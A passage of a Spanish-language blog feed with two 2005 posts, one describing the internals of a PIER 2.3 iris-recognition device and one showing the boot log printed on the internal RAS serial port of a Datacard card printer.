rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-110764099908012223</id><published>2005-02-05T22:44:00.000+01:00</published><updated>2007-01-25T20:19:37.317+01:00</updated><title type='text'>Reconocimiento de iris</title><content type='html'>&lt;p&gt;Una de las cosas interesantes que ten&amp;iacute;a mi anterior trabajo era el poder acceder a dispositivos muy poco comunes, como por ejemplo, biom&amp;eacute;tricos de iris. Uno de estos dispositivos era el &lt;a href="http://www.geocities.com/tomasgarciameras/images/pier.jpg"&gt;PIER 2.3&lt;/a&gt;, de &lt;a href="http://www.securimetrics.com/"&gt;Securimetrics&lt;/a&gt;. Este cacharrillo permite identificaciones m&amp;oacute;viles por iris, tomando fotograf&amp;iacute;as de ojos tan chulos como este:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.geocities.com/tomasgarciameras/images/AtxEye.png"&gt;&lt;/p&gt;
&lt;p&gt;T&amp;eacute;cnicamente, el dispositivo es bastante curioso; ejecuta un DOS 6.22 (&lt;cite&gt;General Software Embedded DOS-ROM 6.22&lt;/cite&gt;) y sobre este un &lt;cite&gt;Phar Lap Embedded ToolSuite (ETS) 10.0&lt;/cite&gt;; esto le permite ejecutar ciertas aplicaciones Win32, como por ejemplo las bibliotecas con los algoritmos de biometr&amp;iacute;a de iris de &lt;a href="http://www.iridiantech.com/"&gt;Iridian Technologies&lt;/a&gt;. Como procesador usa un &lt;a href="http://www.amd.com/epd/processors/4.32bitcont/14.lan5xxfam/24.lansc520/"&gt;AMD ElanSC520&lt;/a&gt; a 133 MHz.&lt;/p&gt;
&lt;p&gt;Y ya por curiosidad... &amp;iquest;Alguien identifica de quien es el ojo?&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-110764099908012223?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/110764099908012223/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=110764099908012223' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110764099908012223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110764099908012223'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/02/reconocimiento-de-iris.html' title='Reconocimiento de iris'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-110761483672815637</id><published>2005-02-05T15:17:00.000+01:00</published><updated>2007-01-25T20:19:42.686+01:00</updated><title type='text'>Impresoras de tarjetas Datacard -  Parte I</title><content type='html'>&lt;br&gt;Una cosa curiosa de las impresoras de tarjetas &lt;a href="http://www.datacard.com/"&gt;Datacard&lt;/a&gt; es que tienen un puerto serie interno para acceso remoto. Que yo haya podido comprobar, lo tenemos en la serie SP (&lt;a href="http://www.datacard.com/products/products.jhtml?contentId=096929454uWMH94GTL&amp;menuId=SP55Product"&gt;55 &lt;/a&gt;y &lt;a href="http://www.datacard.com/products/products.jhtml?contentId=096929454uWMH94GTL&amp;amp;menuId=SP35Product"&gt;35&lt;/a&gt;) y en la serie Select. Por ejemplo, si abrimos una Select, enseguida encontramos dos puertos serie:
&lt;p&gt;
&lt;img src="http://www.geocities.com/tomasgarciameras/images/select_ras1.jpg" /&gt;
&lt;/p&gt;&lt;p&gt;
Si conectamos una consola serie al puerto RAS obtenemos la siguiente secuencia de arranque:
&lt;/p&gt;
&lt;p&gt;
&lt;table cellpadding="6" width="100%"&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt;
&lt;code&gt;&lt;font color="white"&gt;&lt;br&gt;
Starting Print Engine Sequencer...&lt;br&gt;IC posts (LCR): 1 0 1&lt;br&gt;IC configured for contacted coupler&lt;br&gt;Device ID built:00MFG:Datacard Group; CMD:HIF; MDL:Select Class with AIT; CLS:PR&lt;br&gt;INTER; DES:Select Class with AIT 2; COMMENT:Rev 4.5
&lt;br&gt;Clocks 79&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Select Class with AIT Platinum Printer&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Copyright (c) 1998 - 2003 by&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Datacard. Minneapolis, MN.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;All rights reserved.&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;Serial Number:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;C65671&lt;br&gt;&amp;nbsp;&amp;nbsp;Engine Revision:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4.5.1&lt;br&gt;&amp;nbsp;&amp;nbsp;Xilinx Version:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;19&lt;br&gt;&amp;nbsp;&amp;nbsp;Xilinx CPLD Version:&amp;nbsp;&amp;nbsp;46&lt;br&gt;&amp;nbsp;&amp;nbsp;Total Memory:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8388608 bytes&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;Ribbon Type:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Monochrome ribbon&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;EEPROM initialization status:&lt;br&gt;&amp;nbsp;&amp;nbsp;EEPROM Read: Operational configuration parameters. Normal.&lt;br&gt;&amp;nbsp;&amp;nbsp;EEPROM Write: None. Normal.&lt;br&gt;Magstripe module installed&lt;br&gt;&lt;br&gt;&lt;br&gt;mstask&amp;nbsp;&amp;nbsp;creates maintask, rastask&lt;br&gt;&lt;br&gt;&lt;br&gt;MS:&amp;nbsp;&amp;nbsp;MS EE Boot:&amp;nbsp;&amp;nbsp;&amp;nbsp;EE ok, OPS r, OPS w, FAC r, FAC w: 1,1,0,0,0&lt;br&gt;IC posts (LCR): 1 0 1&lt;br&gt;IC configured for contacted coupler&lt;br&gt;SmartCard module installed&lt;br&gt;Flipper module installed&lt;br&gt;&lt;br&gt;Raster planes alloced. num8=7, num1=5, memused=4929258, mem left=957359&lt;br&gt;USB hardware installed, starting interface...Done&lt;br&gt;
&lt;/font&gt;&lt;/code&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/p&gt;
Alg&amp;uacute;n d&amp;iacute;a me entretendr&amp;eacute; en ver que se puede hacer con el puerto RAS y para que vale el otro puerto serie, pero tampoco tengo una excesiva curiosidad...
&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-110761483672815637?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/110761483672815637/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=110761483672815637' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110761483672815637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/110761483672815637'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/02/impresoras-de-tarjetas-datacard-parte.html' title='Impresoras de tarjetas Datacard -  Parte I'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
